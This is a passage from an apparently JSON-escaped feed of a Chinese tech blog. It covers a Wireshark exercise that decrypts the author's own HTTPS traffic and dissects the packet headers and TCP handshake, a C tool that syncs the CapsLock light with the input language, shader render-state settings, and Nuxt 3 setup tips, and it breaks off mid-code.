\u003ccode\u003eSSLKEYLOGFILE\u003c/code\u003e,值为一个文件路径。彻底重启浏览器(任务管理器里检查),TLS 密钥相关的信息就会被保存到这个文件中。\u003c/p\u003e\n\u003cp\u003e在 Wireshark 中,点击编辑 \u0026gt; 首选项,找到 Protocols \u0026gt; TLS 中的 (Pre)-Master-Secret log filename 填入之前的文件路径就能解密 HTTPS 了。\u003c/p\u003e\n\u003ch2 id=\"过滤\"\u003e过滤\u003ca class=\"headerlink\" href=\"#过滤\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e设置过滤表达式 \u003ccode\u003ehttp || http2 || http3 || tcp\u003c/code\u003e,然后去浏览器打开 https://www.baidu.com 过一会再关闭。\u003c/p\u003e\n\u003cp\u003e回到 Wireshark,找到协议为 TLSv1.2 的 \u003ccode\u003eClient Hello (SNI=www.baidu.com)\u003c/code\u003e,得知目标的 ip 地址为 110.242.68.3。\u003c/p\u003e\n\u003cp\u003e更新过滤表达式为 \u003ccode\u003e(http || http2 || http3 || tcp) \u0026amp;\u0026amp; (ip.src == 110.242.68.3 || ip.dst == 110.242.68.3)\u003c/code\u003e。\u003c/p\u003e\n\u003ch2 id=\"数据包分析\"\u003e数据包分析\u003ca class=\"headerlink\" href=\"#数据包分析\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003ch3 id=\"应用层\"\u003e应用层\u003ca class=\"headerlink\" href=\"#应用层\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003cp\u003e\u003cimg alt=\"应用层\" src=\"../../../obsidian-vault/attachments/wireshark-exp-http-data.png\" /\u003e\u003c/p\u003e\n\u003cp\u003e应用层使用 HTTP。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e请求行,方法为 \u003ccode\u003eGET\u003c/code\u003e,URL 为 \u003ccode\u003e/\u003c/code\u003e,版本为 \u003ccode\u003eHTTP/1.1\u003c/code\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003eGET / HTTP/1.1 \n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e请求头\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"nt\"\u003eHost\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"l l-Scalar l-Scalar-Plain\"\u003ewww.baidu.com\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\n\u003cspan class=\"nt\"\u003eConnection\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"l l-Scalar l-Scalar-Plain\"\u003ekeep-alive\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\n\u003cspan class=\"nt\"\u003esec-ch-ua\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026quot;Microsoft\u003c/span\u003e\u003cspan class=\"nv\"\u003e \u003c/span\u003e\u003cspan class=\"s\"\u003eEdge\u0026quot;\u003c/span\u003e\u003cspan class=\"l l-Scalar l-Scalar-Plain\"\u003e;v=\u0026quot;125\u0026quot;, \u0026quot;Chromium\u0026quot;;v=\u0026quot;125\u0026quot;, \u0026quot;Not.A/Brand\u0026quot;;v=\u0026quot;24\u0026quot;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\n\u003cspan class=\"nt\"\u003esec-ch-ua-mobile\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"l l-Scalar l-Scalar-Plain\"\u003e?0\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\n\u003cspan class=\"nt\"\u003esec-ch-ua-platform\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026quot;Windows\u0026quot;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\n\u003cspan class=\"nt\"\u003eUpgrade-Insecure-Requests\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"l l-Scalar l-Scalar-Plain\"\u003e1\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\n\u003cspan class=\"nt\"\u003eUser-Agent\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"l l-Scalar l-Scalar-Plain\"\u003eMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 Edg/125.0.0.0\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\n\u003cspan class=\"nt\"\u003eAccept\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"l l-Scalar l-Scalar-Plain\"\u003etext/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\n\u003cspan class=\"nt\"\u003eSec-Fetch-Site\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"l l-Scalar l-Scalar-Plain\"\u003enone\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\n\u003cspan class=\"nt\"\u003eSec-Fetch-Mode\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"l l-Scalar l-Scalar-Plain\"\u003enavigate\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\n\u003cspan class=\"nt\"\u003eSec-Fetch-User\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"l l-Scalar l-Scalar-Plain\"\u003e?1\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\n\u003cspan class=\"nt\"\u003eSec-Fetch-Dest\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"l l-Scalar l-Scalar-Plain\"\u003edocument\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\n\u003cspan class=\"nt\"\u003eAccept-Encoding\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"l l-Scalar l-Scalar-Plain\"\u003egzip, deflate, br, zstd\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\n\u003cspan class=\"nt\"\u003eAccept-Language\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"l l-Scalar l-Scalar-Plain\"\u003ezh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6\u003c/span\u003e\n\u003cspan class=\"nt\"\u003eCookie\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"l l-Scalar l-Scalar-Plain\"\u003e...\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e空行\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e主体(这里没有)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"传输层\"\u003e传输层\u003ca class=\"headerlink\" href=\"#传输层\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003cp\u003e\u003cimg alt=\"传输层\" src=\"../../../obsidian-vault/attachments/wireshark-exp-tcp-data.png\" /\u003e\u003c/p\u003e\n\u003cp\u003e传输层使用 TCP。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e源始端口:\u003ccode\u003ee9 88\u003c/code\u003e(59784 端口)\u003c/li\u003e\n\u003cli\u003e目的端口:\u003ccode\u003e01 bb\u003c/code\u003e(443 端口)\u003c/li\u003e\n\u003cli\u003e序列号:\u003ccode\u003e85 ad cd ce\u003c/code\u003e(2242760142)\u003c/li\u003e\n\u003cli\u003e确认号:\u003ccode\u003edf cc 85 0f\u003c/code\u003e(3754722575)\u003c/li\u003e\n\u003cli\u003e偏移:\u003ccode\u003e5\u003c/code\u003e(头部长度为 5*4=20 字节)\u003c/li\u003e\n\u003cli\u003e保留:\u003ccode\u003e0\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e标志:\u003ccode\u003e18\u003c/code\u003e(ACK 和 PSH)\u003c/li\u003e\n\u003cli\u003e窗口大小:\u003ccode\u003e02 03\u003c/code\u003e(515)\u003c/li\u003e\n\u003cli\u003e校验和:\u003ccode\u003e01 6d\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e紧急指针:\u003ccode\u003e00 00\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"网络层\"\u003e网络层\u003ca class=\"headerlink\" href=\"#网络层\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003cp\u003e\u003cimg alt=\"网络层\" src=\"../../../obsidian-vault/attachments/wireshark-exp-ip-data.png\" /\u003e\u003c/p\u003e\n\u003cp\u003e网络层使用 IP。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e版本:\u003ccode\u003e4\u003c/code\u003e(表示 IPv4)\u003c/li\u003e\n\u003cli\u003e头长:\u003ccode\u003e5\u003c/code\u003e(头部长度为 5*4=20 字节)\u003c/li\u003e\n\u003cli\u003e服务类型:\u003ccode\u003e00\u003c/code\u003e(默认)\u003c/li\u003e\n\u003cli\u003e包裹总长:\u003ccode\u003e0000\u003c/code\u003e(IP 数据包总长 0 字节,可能是 TSO 的原因)\u003c/li\u003e\n\u003cli\u003e重组标识:\u003ccode\u003ecacf\u003c/code\u003e(51919,发送主机赋予的标识,以便接收方进行分片重组)\u003c/li\u003e\n\u003cli\u003e标志(3 位)段偏移量(13 位):\u003ccode\u003e4000\u003c/code\u003e(标志:不分片,段偏移量:0)\u003c/li\u003e\n\u003cli\u003e生存时间:\u003ccode\u003e80\u003c/code\u003e(128,每经过一个路由器,该值就减一,到零丢弃)\u003c/li\u003e\n\u003cli\u003e协议代码:\u003ccode\u003e06\u003c/code\u003e(表示 TCP 协议)\u003c/li\u003e\n\u003cli\u003e头校验和:\u003ccode\u003e0000\u003c/code\u003e(没开启校验)\u003c/li\u003e\n\u003cli\u003e源始地址:\u003ccode\u003e0ac643ab\u003c/code\u003e(10.198.67.171)\u003c/li\u003e\n\u003cli\u003e目的地址:\u003ccode\u003e6ef24403\u003c/code\u003e(110.242.68.3)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"数据链路层\"\u003e数据链路层\u003ca class=\"headerlink\" href=\"#数据链路层\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003cp\u003e\u003cimg alt=\"数据链路层\" src=\"../../../obsidian-vault/attachments/wireshark-exp-ethernet-data.png\" /\u003e\u003c/p\u003e\n\u003cp\u003e数据链路层使用 Ethernet II。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e目的 MAC 地址:\u003ccode\u003eb0 76 1b 21 30 ab\u003c/code\u003e(b0:76:1b:21:30:ab)\u003c/li\u003e\n\u003cli\u003e源始 MAC 地址:\u003ccode\u003e54 6c eb b3 0b 05\u003c/code\u003e(54:6c:eb:b3:0b:05)\u003c/li\u003e\n\u003cli\u003e类型:\u003ccode\u003e08 00\u003c/code\u003e(表示 IPv4)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"TCP-连接建立\"\u003eTCP 连接建立\u003ca class=\"headerlink\" href=\"#TCP-连接建立\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e\u003cimg alt=\"TCP 连接建立\" src=\"../../../obsidian-vault/attachments/wireshark-exp-tcp-conn.png\" /\u003e\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e客户端(10.198.67.171)向百度(110.242.68.3)发送第一个段,SYN 被置位,序列号为 2242758111(相对值 0)。\u003c/li\u003e\n\u003cli\u003e百度(110.242.68.3)向客户端(10.198.67.171)发送第二个段,SYN 和 ACK 被置位,序列号为 3754722416(相对值 0),确认号为 2242758112(相对值 1)。\u003c/li\u003e\n\u003cli\u003e客户端(10.198.67.171)向百度(110.242.68.3)发送第三个段,ACK 被置位,序列号为 2242758112(相对值 1),确认号为 3754722417(相对值 1)。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e经过三次握手,TCP 连接建立。\u003c/p\u003e\n\u003ch2 id=\"TCP-连接终止\"\u003eTCP 连接终止\u003ca class=\"headerlink\" href=\"#TCP-连接终止\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e\u003cimg alt=\"TCP 连接终止\" src=\"../../../obsidian-vault/attachments/wireshark-exp-tcp-close.png\" /\u003e\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e客户端(10.198.67.171)向百度(110.242.68.3)发送第一个段,FIN 和 ACK 被置位,序列号为 2242765910(相对值 7799),确认号为 3754841098(相对值 118682)。\u003c/li\u003e\n\u003cli\u003e百度(110.242.68.3)向客户端(10.198.67.171)发送第二个段,ACK 被置位,序列号为 3754841098(相对值 118682),确认号为 2242765911(相对值 7800)。\u003c/li\u003e\n\u003cli\u003e百度(110.242.68.3)向客户端(10.198.67.171)发送剩余的数据,图中为 TLS 的关闭通知。\u003c/li\u003e\n\u003cli\u003e百度(110.242.68.3)向客户端(10.198.67.171)发送第三个段,FIN 和 ACK 被置位,序列号为 3754841129(相对值 118713),确认号为 2242765911(相对值 7800)。\u003c/li\u003e\n\u003cli\u003e客户端(10.198.67.171)向百度(110.242.68.3)发送第四个段,ACK 被置位,序列号为 2242765911(相对值 7800),确认号为 3754841130(相对值 118714)。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e经过四次握手,TCP 连接终止。\u003c/p\u003e\u003chr /\u003e","url":"https://note.stalomeow.com/blog/posts/wireshark-capture-http-experiment/"},{"title":"Windows 上用 CapsLock 切换中英文","time":"2024-05-01T13:09:28Z","content":"\u003ch1 id=\"Windows-上用-CapsLock-切换中英文\"\u003eWindows 上用 CapsLock 切换中英文\u003ca class=\"headerlink\" href=\"#Windows-上用-CapsLock-切换中英文\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h1\u003e\n\u003c!-- more --\u003e\n\n\u003cp\u003e微软输入法切换中英文的按键选择有 Ctrl、Shift、Ctrl+Space,但它们都是其他软件常用的修饰符/快捷键,肯定没法用。后来,我用一个纯英文键盘布局和一个纯中文键盘布局,靠 Win+Space 切换,但这个快捷键按着也挺麻烦。\u003c/p\u003e\n\u003cp\u003e受 MacOS 的启发,我决定改用 CapsLock 切换中英文。恰好,我平时切换大小写用的都是 Shift。CapsLock 放在那么好的位置却不用,很可惜。\u003c/p\u003e\n\u003ch2 id=\"按键映射\"\u003e按键映射\u003ca class=\"headerlink\" href=\"#按键映射\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e使用 PowerToys 的键盘管理器映射 CapsLock 到 Win+Space。\u003c/p\u003e\n\u003ch2 id=\"同步指示灯\"\u003e同步指示灯\u003ca class=\"headerlink\" href=\"#同步指示灯\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e按键都重映射了,指示灯放着不用也怪可惜的。我笔记本键盘上 CapsLock 指示灯就在这个按键右上角,改成中英文指示灯刚好。灯亮时就是中文模式,灯暗时就是英文模式。\u003c/p\u003e\n\u003cp\u003e代码开源在 GitHub 上:\u003ca href=\"https://github.com/stalomeow/CapsLockLed-IME\"\u003estalomeow/CapsLockLed-IME\u003c/a\u003e。特地用纯 C 写的,几乎没有什么开销。大体思路:依靠 \u003ca href=\"../../../eabe-abdh-cfad/\"\u003eWindows 全局钩子\u003c/a\u003e 监听键盘布局变化(\u003ccode\u003eHSHELL_LANGUAGE\u003c/code\u003e)事件,然后根据当前布局设置指示灯状态。\u003c/p\u003e\n\u003ch3 id=\"检查是否为中文键盘布局\"\u003e检查是否为中文键盘布局\u003ca class=\"headerlink\" href=\"#检查是否为中文键盘布局\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"n\"\u003eBOOL\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eIsChineseKeyboardLayout\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eCHAR\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ename\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eKL_NAMELENGTH\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eGetKeyboardLayoutNameA\u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"n\"\u003eLPSTR\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ename\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// https://learn.microsoft.com/en-us/globalization/keyboards/kbdus_2\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estrcmp\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ename\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026quot;00000804\u0026quot;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e==\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTRUE\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eFALSE\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eKeyboardLayoutName 就是 \u003ca href=\"https://learn.microsoft.com/en-us/windows-hardware/manufacture/desktop/windows-language-pack-default-values?view=windows-11#keyboard-identifiers\"\u003eKeyboard identifier\u003c/a\u003e,简体中文对应的是 \u003ccode\u003e\"00000804\"\u003c/code\u003e。\u003c/p\u003e\n\u003ch3 id=\"设置指示灯\"\u003e设置指示灯\u003ca class=\"headerlink\" href=\"#设置指示灯\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003cp\u003e需要引入头文件 \u003ca href=\"https://learn.microsoft.com/en-us/windows/win32/api/ntddkbd/\"\u003entddkbd.h\u003c/a\u003e。\u003c/p\u003e\n\u003cp\u003e具体的思路参考 \u003ca href=\"https://stackoverflow.com/questions/72679665/is-it-possible-to-control-capslock-light-without-actual-capslocking\"\u003ewindows - Is it possible to control capslock light without actual capslocking? - Stack Overflow\u003c/a\u003e。\u003c/p\u003e\u003chr /\u003e","url":"https://note.stalomeow.com/blog/posts/windows-capslock-ime/"},{"title":"后处理 Shader 的 Render State 设置","time":"2024-04-27T14:42:36Z","content":"\u003ch1 id=\"后处理-Shader-的-Render-State-设置\"\u003e后处理 Shader 的 Render State 设置\u003ca class=\"headerlink\" href=\"#后处理-Shader-的-Render-State-设置\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h1\u003e\n\u003c!-- more --\u003e\n\n\u003cp\u003e后处理 Shader 或者一些 Blit 用的 Shader,一定要记得加下面几行!\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003eCull Off\nZTest Always\nZWrite Off\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e不加的话在\u003cstrong\u003e某些平台\u003c/strong\u003e绘制不了,会被剔除!比如 MuMu 模拟器上,我就遇到过这个问题。\u003c/p\u003e\u003chr /\u003e","url":"https://note.stalomeow.com/blog/posts/unity-postprocess-shader-render-state/"},{"title":"Nuxt 3 开发避坑","time":"2024-04-09T07:44:55Z","content":"\u003ch1 id=\"Nuxt-3-开发避坑\"\u003eNuxt 3 开发避坑\u003ca class=\"headerlink\" href=\"#Nuxt-3-开发避坑\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h1\u003e\n\u003c!-- more --\u003e\n\n\u003cp\u003e开发个人主页时用了 Nuxt 3。虽然有些坑,但它还是很好用的。\u003c/p\u003e\n\u003cp\u003e文档:\u003ca href=\"https://nuxt.com/docs/getting-started/introduction\"\u003ehttps://nuxt.com/docs/getting-started/introduction\u003c/a\u003e。\u003c/p\u003e\n\u003ch2 id=\"解决初始化报错\"\u003e解决初始化报错\u003ca class=\"headerlink\" href=\"#解决初始化报错\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e执行初始化命令后\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003enpx\u003cspan class=\"w\"\u003e \u003c/span\u003enuxi@latest\u003cspan class=\"w\"\u003e \u003c/span\u003einit\u003cspan class=\"w\"\u003e \u003c/span\u003e\u0026lt;project-name\u0026gt;\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e显示下面的报错。\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eError: Failed to download template from registry: Failed to download \u003ca href=\"https://raw.githubusercontent.com/nuxt/starter/templates/templates/v3.json\"\u003ehttps://raw.githubusercontent.com/nuxt/starter/templates/templates/v3.json\u003c/a\u003e: TypeError: fetch failed\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e在 GitHub 上找到了相关的 Issues:\u003ca href=\"https://github.com/nuxt/cli/issues/159\"\u003esupport http proxy when using \u003ccode\u003enuxi init\u003c/code\u003e with node \u0026gt;= 18\u003c/a\u003e。其中有人总结了原因:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eThe main issue is native fetch API provided by newer Node.js versions (18+), does not support HTTP agents for proxy support.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e简单概括就是它不走代理。目前有 3 种解决方法:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e改 hosts 文件。这个我不喜欢,跳过。\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e换源。有人把相关的文件 clone 到了 gitee 上,设置环境变量\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"nb\"\u003eset\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nv\"\u003eNUXI_INIT_REGISTRY\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026quot;https://gitee.com/hzgotb/nuxt-starter/raw/templates/templates\u0026quot;\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e之后再初始化就可以了。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e官方目前提供了一个支持代理的版本,但是 nightly 版,还不是正式版。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003enpx\u003cspan class=\"w\"\u003e \u003c/span\u003enuxi-nightly@latest\u003cspan class=\"w\"\u003e \u003c/span\u003einit\u003cspan class=\"w\"\u003e \u003c/span\u003e\u0026lt;project-name\u0026gt;\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e使用 \u003ca href=\"../../../eadf-afaa-cfcg/\"\u003eClash 的 TUN 模式\u003c/a\u003e,不用系统代理。\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"Font-Awesome\"\u003eFont Awesome\u003ca class=\"headerlink\" href=\"#Font-Awesome\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003ch3 id=\"配置\"\u003e配置\u003ca class=\"headerlink\" href=\"#配置\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003cp\u003e按它的文档做就行:\u003ca href=\"https://docs.fontawesome.com/web/use-with/vue/use-with#nuxt\"\u003ehttps://docs.fontawesome.com/web/use-with/vue/use-with#nuxt\u003c/a\u003e。建议把 Integrations/Vue 里的文档全看一下。\u003c/p\u003e\n\u003cp\u003e需要先装两个核心的包。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003enpm\u003cspan class=\"w\"\u003e \u003c/span\u003ei\u003cspan class=\"w\"\u003e \u003c/span\u003e--save\u003cspan class=\"w\"\u003e \u003c/span\u003e@fortawesome/fontawesome-svg-core\nnpm\u003cspan class=\"w\"\u003e \u003c/span\u003ei\u003cspan class=\"w\"\u003e \u003c/span\u003e--save\u003cspan class=\"w\"\u003e \u003c/span\u003e@fortawesome/vue-fontawesome@latest-3\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e常用的免费 Icon Packages,可以全部安装。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003enpm\u003cspan class=\"w\"\u003e \u003c/span\u003ei\u003cspan class=\"w\"\u003e \u003c/span\u003e--save\u003cspan class=\"w\"\u003e \u003c/span\u003e@fortawesome/free-solid-svg-icons\nnpm\u003cspan class=\"w\"\u003e \u003c/span\u003ei\u003cspan class=\"w\"\u003e \u003c/span\u003e--save\u003cspan class=\"w\"\u003e \u003c/span\u003e@fortawesome/free-regular-svg-icons\nnpm\u003cspan class=\"w\"\u003e \u003c/span\u003ei\u003cspan class=\"w\"\u003e \u003c/span\u003e--save\u003cspan class=\"w\"\u003e \u003c/span\u003e@fortawesome/free-brands-svg-icons\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e在写它的 plugin 文件时要注意\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"c1\"\u003e// For Nuxt 3\u003c/span\u003e\n\u003cspan 